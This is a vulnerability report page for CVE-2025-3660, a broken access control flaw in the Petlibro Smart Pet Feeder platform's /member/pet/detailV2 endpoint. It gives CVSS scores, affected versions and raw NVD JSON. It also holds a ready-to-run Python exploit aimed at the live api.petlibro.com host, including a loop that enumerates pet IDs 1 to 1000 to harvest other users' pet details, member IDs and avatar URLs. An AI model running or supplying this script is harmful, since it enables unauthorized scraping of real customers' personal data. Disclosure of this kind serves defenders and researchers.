Security Vulnerability Report
中文
CVE-2025-3660 CVSS 6.5 MEDIUM

CVE-2025-3660

Published: 2026-01-04 00:15:44
Last Modified: 2026-02-03 17:32:08

Description

Petlibro Smart Pet Feeder Platform versions up to 1.7.31 contains a broken access control vulnerability that allows authenticated users to access other users' pet data by exploiting missing ownership verification. Attackers can send requests to /member/pet/detailV2 with arbitrary pet IDs to retrieve sensitive information including pet details, member IDs, and avatar URLs without proper authorization checks.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:petlibro:petlibro:*:*:*:*:-:*:*:* - VULNERABLE
Petlibro Smart Pet Feeder Platform <= 1.7.31

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-3660 PoC - Petlibro Smart Pet Feeder Broken Access Control # Target: /member/pet/detailV2 endpoint BASE_URL = "https://api.petlibro.com" TARGET_ENDPOINT = "/member/pet/detailV2" def exploit_cve_2025_3660(auth_token, target_pet_id): """ Exploit for CVE-2025-3660: Broken Access Control in Petlibro Platform Allows authenticated users to access other users' pet data via pet ID manipulation Args: auth_token: Valid authentication token from Petlibro account target_pet_id: Arbitrary pet ID to retrieve data for Returns: JSON response containing pet details """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json", "User-Agent": "Petlibro/1.7.31 (Android)" } params = { "petId": target_pet_id } url = f"{BASE_URL}{TARGET_ENDPOINT}" try: response = requests.get(url, headers=headers, params=params, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Success! Retrieved pet data for ID: {target_pet_id}") print(f"[+] Response: {json.dumps(data, indent=2)}") return data else: print(f"[-] Request failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def enumerate_pet_ids(auth_token, start_id=1, end_id=1000): """ Enumerate and collect pet data by iterating through pet IDs """ collected_data = [] for pet_id in range(start_id, end_id + 1): data = exploit_cve_2025_3660(auth_token, str(pet_id)) if data and data.get('code') == 200: collected_data.append({ 'pet_id': pet_id, 'data': data.get('data') }) print(f"[+] Collected data for pet ID: {pet_id}") return collected_data if __name__ == "__main__": # Replace with actual auth token and target pet ID AUTH_TOKEN = "your_auth_token_here" TARGET_PET_ID = "12345" print("CVE-2025-3660 Exploitation Test") print("=" * 50) exploit_cve_2025_3660(AUTH_TOKEN, TARGET_PET_ID)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-3660", "sourceIdentifier": "[email protected]", "published": "2026-01-04T00:15:44.433", "lastModified": "2026-02-03T17:32:07.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Petlibro Smart Pet Feeder Platform versions up to 1.7.31 contains a broken access control vulnerability that allows authenticated users to access other users' pet data by exploiting missing ownership verification. Attackers can send requests to /member/pet/detailV2 with arbitrary pet IDs to retrieve sensitive information including pet details, member IDs, and avatar URLs without proper authorization checks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-612"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:petlibro:petlibro:*:*:*:*:-:*:*:*", "versionEndIncluding": "1.7.31", "matchCriteriaId": "0B604E0A-05A3-46E0-8558-FF3F00F5EF0D"}]}]}], "references": [{"url": "https://bobdahacker.com/blog/petlibro", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/petlibro-smart-pet-feeder-platform-through-broken-access-control-via-api-endpoint", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}